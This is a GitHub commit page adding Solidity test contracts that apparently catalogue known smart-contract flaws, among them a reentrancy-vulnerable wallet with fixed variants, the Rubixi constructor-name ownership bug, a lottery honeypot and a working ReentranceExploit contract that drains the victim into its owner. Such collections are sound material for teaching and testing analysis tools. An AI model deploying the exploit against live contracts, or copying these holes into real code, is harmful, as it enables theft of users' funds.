-
Notifications
You must be signed in to change notification settings - Fork 43
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
30 changed files
with
972 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
{ | ||
"extends": "solhint:all" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
|
||
pragma solidity ^0.4.15; | ||
|
||
contract Alice { | ||
int public val; | ||
|
||
function set(int new_val){ | ||
val = new_val; | ||
} | ||
|
||
function set_fixed(int new_val){ | ||
val = new_val; | ||
} | ||
|
||
function(){ | ||
val = 1; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
|
||
pragma solidity ^0.4.15; | ||
|
||
contract Alice { | ||
function set(uint); | ||
function set_fixed(int); | ||
} | ||
|
||
contract Bob { | ||
function set(Alice c){ | ||
c.set(42); | ||
} | ||
|
||
function set_fixed(Alice c){ | ||
c.set_fixed(42); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,97 @@ | ||
/* | ||
* This is a distributed lottery that chooses random addresses as lucky addresses. If these | ||
* participate, they get the jackpot: 7 times the price of their bet. | ||
* Of course one address can only win once. The owner regularly reseeds the secret | ||
* seed of the contract (based on which the lucky addresses are chosen), so if you did not win, | ||
* just wait for a reseed and try again! | ||
* | ||
* Jackpot chance: 1 in 8 | ||
* Ticket price: Anything larger than (or equal to) 0.1 ETH | ||
* Jackpot size: 7 times the ticket price | ||
* | ||
* HOW TO PARTICIPATE: Just send any amount greater than (or equal to) 0.1 ETH to the contract's address | ||
* Keep in mind that your address can only win once | ||
* | ||
* If the contract doesn't have enough ETH to pay the jackpot, it sends the whole balance. | ||
*/ | ||
|
||
contract OpenAddressLottery{ | ||
struct SeedComponents{ | ||
uint component1; | ||
uint component2; | ||
uint component3; | ||
uint component4; | ||
} | ||
|
||
address owner; //address of the owner | ||
uint private secretSeed; //seed used to calculate number of an address | ||
uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks | ||
uint LuckyNumber = 7; //if the number of an address equals 7, it wins | ||
|
||
mapping (address => bool) winner; //keeping track of addresses that have already won | ||
|
||
function OpenAddressLottery() { | ||
owner = msg.sender; | ||
reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed | ||
} | ||
|
||
function participate() payable { | ||
if(msg.value<0.1 ether) | ||
return; //verify ticket price | ||
|
||
// make sure he hasn't won already | ||
require(winner[msg.sender] == false); | ||
|
||
if(luckyNumberOfAddress(msg.sender) == LuckyNumber){ //check if it equals 7 | ||
winner[msg.sender] = true; // every address can only win once | ||
|
||
uint win=msg.value*7; //win = 7 times the ticket price | ||
|
||
if(win>this.balance) //if the balance isnt sufficient... | ||
win=this.balance; //...send everything we've got | ||
msg.sender.transfer(win); | ||
} | ||
|
||
if(block.number-lastReseed>1000) //reseed if needed | ||
reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed | ||
} | ||
|
||
function luckyNumberOfAddress(address addr) constant returns(uint n){ | ||
// calculate the number of current address - 1 in 8 chance | ||
n = uint(keccak256(uint(addr), secretSeed)[0]) % 8; | ||
} | ||
|
||
function reseed(SeedComponents components) internal { | ||
secretSeed = uint256(keccak256( | ||
components.component1, | ||
components.component2, | ||
components.component3, | ||
components.component4 | ||
)); //hash the incoming parameters and use the hash to (re)initialize the seed | ||
lastReseed = block.number; | ||
} | ||
|
||
function kill() { | ||
require(msg.sender==owner); | ||
|
||
selfdestruct(msg.sender); | ||
} | ||
|
||
function forceReseed() { //reseed initiated by the owner - for testing purposes | ||
require(msg.sender==owner); | ||
|
||
SeedComponents s; | ||
s.component1 = uint(msg.sender); | ||
s.component2 = uint256(block.blockhash(block.number - 1)); | ||
s.component3 = block.difficulty*(uint)(block.coinbase); | ||
s.component4 = tx.gasprice * 7; | ||
|
||
reseed(s); //reseed | ||
} | ||
|
||
function () payable { //if someone sends money without any function call, just assume he wanted to participate | ||
if(msg.value>=0.1 ether && msg.sender!=owner) //owner can't participate, he can only fund the jackpot | ||
participate(); | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
pragma solidity ^0.4.15; | ||
|
||
contract Reentrance { | ||
mapping (address => uint) userBalance; | ||
|
||
function getBalance(address u) constant returns(uint){ | ||
return userBalance[u]; | ||
} | ||
|
||
function addToBalance() payable{ | ||
userBalance[msg.sender] += msg.value; | ||
} | ||
|
||
function withdrawBalance(){ | ||
// send userBalance[msg.sender] ethers to msg.sender | ||
// if mgs.sender is a contract, it will call its fallback function | ||
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){ | ||
throw; | ||
} | ||
userBalance[msg.sender] = 0; | ||
} | ||
|
||
function withdrawBalance_fixed(){ | ||
// to protect against re-entrancy, the state variable | ||
// has to be change before the call | ||
uint amount = userBalance[msg.sender]; | ||
userBalance[msg.sender] = 0; | ||
if( ! (msg.sender.call.value(amount)() ) ){ | ||
throw; | ||
} | ||
} | ||
|
||
function withdrawBalance_fixed_2(){ | ||
// send() and transfer() are safe against reentrancy | ||
// they do not transfer the remaining gas | ||
// and they give just enough gas to execute few instructions | ||
// in the fallback function (no further call possible) | ||
msg.sender.transfer(userBalance[msg.sender]); | ||
userBalance[msg.sender] = 0; | ||
} | ||
|
||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
pragma solidity ^0.4.15; | ||
|
||
contract ReentranceExploit { | ||
bool public attackModeIsOn=false; | ||
address public vulnerable_contract; | ||
address public owner; | ||
|
||
function ReentranceExploit() public{ | ||
owner = msg.sender; | ||
} | ||
|
||
function deposit(address _vulnerable_contract) public payable{ | ||
vulnerable_contract = _vulnerable_contract ; | ||
// call addToBalance with msg.value ethers | ||
require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()")))); | ||
} | ||
|
||
function launch_attack() public{ | ||
attackModeIsOn = true; | ||
// call withdrawBalance | ||
// withdrawBalance calls the fallback of ReentranceExploit | ||
require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()")))); | ||
} | ||
|
||
|
||
function () public payable{ | ||
// atackModeIsOn is used to execute the attack only once | ||
// otherwise there is a loop between withdrawBalance and the fallback function | ||
if (attackModeIsOn){ | ||
attackModeIsOn = false; | ||
require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()")))); | ||
} | ||
} | ||
|
||
function get_money(){ | ||
suicide(owner); | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,155 @@ | ||
// 0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code | ||
pragma solidity ^0.4.15; | ||
|
||
contract Rubixi { | ||
|
||
//Declare variables for storage critical to contract | ||
uint private balance = 0; | ||
uint private collectedFees = 0; | ||
uint private feePercent = 10; | ||
uint private pyramidMultiplier = 300; | ||
uint private payoutOrder = 0; | ||
|
||
address private creator; | ||
|
||
//Sets creator | ||
function DynamicPyramid() { | ||
creator = msg.sender; | ||
} | ||
|
||
modifier onlyowner { | ||
if (msg.sender == creator) _; | ||
} | ||
|
||
struct Participant { | ||
address etherAddress; | ||
uint payout; | ||
} | ||
|
||
Participant[] private participants; | ||
|
||
//Fallback function | ||
function() { | ||
init(); | ||
} | ||
|
||
//init function run on fallback | ||
function init() private { | ||
//Ensures only tx with value of 1 ether or greater are processed and added to pyramid | ||
if (msg.value < 1 ether) { | ||
collectedFees += msg.value; | ||
return; | ||
} | ||
|
||
uint _fee = feePercent; | ||
//50% fee rebate on any ether value of 50 or greater | ||
if (msg.value >= 50 ether) _fee /= 2; | ||
|
||
addPayout(_fee); | ||
} | ||
|
||
//Function called for valid tx to the contract | ||
function addPayout(uint _fee) private { | ||
//Adds new address to participant array | ||
participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100)); | ||
|
||
//These statements ensure a quicker payout system to later pyramid entrants, so the pyramid has a longer lifespan | ||
if (participants.length == 10) pyramidMultiplier = 200; | ||
else if (participants.length == 25) pyramidMultiplier = 150; | ||
|
||
// collect fees and update contract balance | ||
balance += (msg.value * (100 - _fee)) / 100; | ||
collectedFees += (msg.value * _fee) / 100; | ||
|
||
//Pays earlier participiants if balance sufficient | ||
while (balance > participants[payoutOrder].payout) { | ||
uint payoutToSend = participants[payoutOrder].payout; | ||
participants[payoutOrder].etherAddress.send(payoutToSend); | ||
|
||
balance -= participants[payoutOrder].payout; | ||
payoutOrder += 1; | ||
} | ||
} | ||
|
||
//Fee functions for creator | ||
function collectAllFees() onlyowner { | ||
if (collectedFees == 0) throw; | ||
|
||
creator.send(collectedFees); | ||
collectedFees = 0; | ||
} | ||
|
||
function collectFeesInEther(uint _amt) onlyowner { | ||
_amt *= 1 ether; | ||
if (_amt > collectedFees) collectAllFees(); | ||
|
||
if (collectedFees == 0) throw; | ||
|
||
creator.send(_amt); | ||
collectedFees -= _amt; | ||
} | ||
|
||
function collectPercentOfFees(uint _pcent) onlyowner { | ||
if (collectedFees == 0 || _pcent > 100) throw; | ||
|
||
uint feesToCollect = collectedFees / 100 * _pcent; | ||
creator.send(feesToCollect); | ||
collectedFees -= feesToCollect; | ||
} | ||
|
||
//Functions for changing variables related to the contract | ||
function changeOwner(address _owner) onlyowner { | ||
creator = _owner; | ||
} | ||
|
||
function changeMultiplier(uint _mult) onlyowner { | ||
if (_mult > 300 || _mult < 120) throw; | ||
|
||
pyramidMultiplier = _mult; | ||
} | ||
|
||
function changeFeePercentage(uint _fee) onlyowner { | ||
if (_fee > 10) throw; | ||
|
||
feePercent = _fee; | ||
} | ||
|
||
//Functions to provide information to end-user using JSON interface or other interfaces | ||
function currentMultiplier() constant returns(uint multiplier, string info) { | ||
multiplier = pyramidMultiplier; | ||
info = 'This multiplier applies to you as soon as transaction is received, may be lowered to hasten payouts or increased if payouts are fast enough. Due to no float or decimals, multiplier is x100 for a fractional multiplier e.g. 250 is actually a 2.5x multiplier. Capped at 3x max and 1.2x min.'; | ||
} | ||
|
||
function currentFeePercentage() constant returns(uint fee, string info) { | ||
fee = feePercent; | ||
info = 'Shown in % form. Fee is halved(50%) for amounts equal or greater than 50 ethers. (Fee may change, but is capped to a maximum of 10%)'; | ||
} | ||
|
||
function currentPyramidBalanceApproximately() constant returns(uint pyramidBalance, string info) { | ||
pyramidBalance = balance / 1 ether; | ||
info = 'All balance values are measured in Ethers, note that due to no decimal placing, these values show up as integers only, within the contract itself you will get the exact decimal value you are supposed to'; | ||
} | ||
|
||
function nextPayoutWhenPyramidBalanceTotalsApproximately() constant returns(uint balancePayout) { | ||
balancePayout = participants[payoutOrder].payout / 1 ether; | ||
} | ||
|
||
function feesSeperateFromBalanceApproximately() constant returns(uint fees) { | ||
fees = collectedFees / 1 ether; | ||
} | ||
|
||
function totalParticipants() constant returns(uint count) { | ||
count = participants.length; | ||
} | ||
|
||
function numberOfParticipantsWaitingForPayout() constant returns(uint count) { | ||
count = participants.length - payoutOrder; | ||
} | ||
|
||
function participantDetails(uint orderInPyramid) constant returns(address Address, uint Payout) { | ||
if (orderInPyramid <= participants.length) { | ||
Address = participants[orderInPyramid].etherAddress; | ||
Payout = participants[orderInPyramid].payout / 1 ether; | ||
} | ||
} | ||
} |
Oops, something went wrong.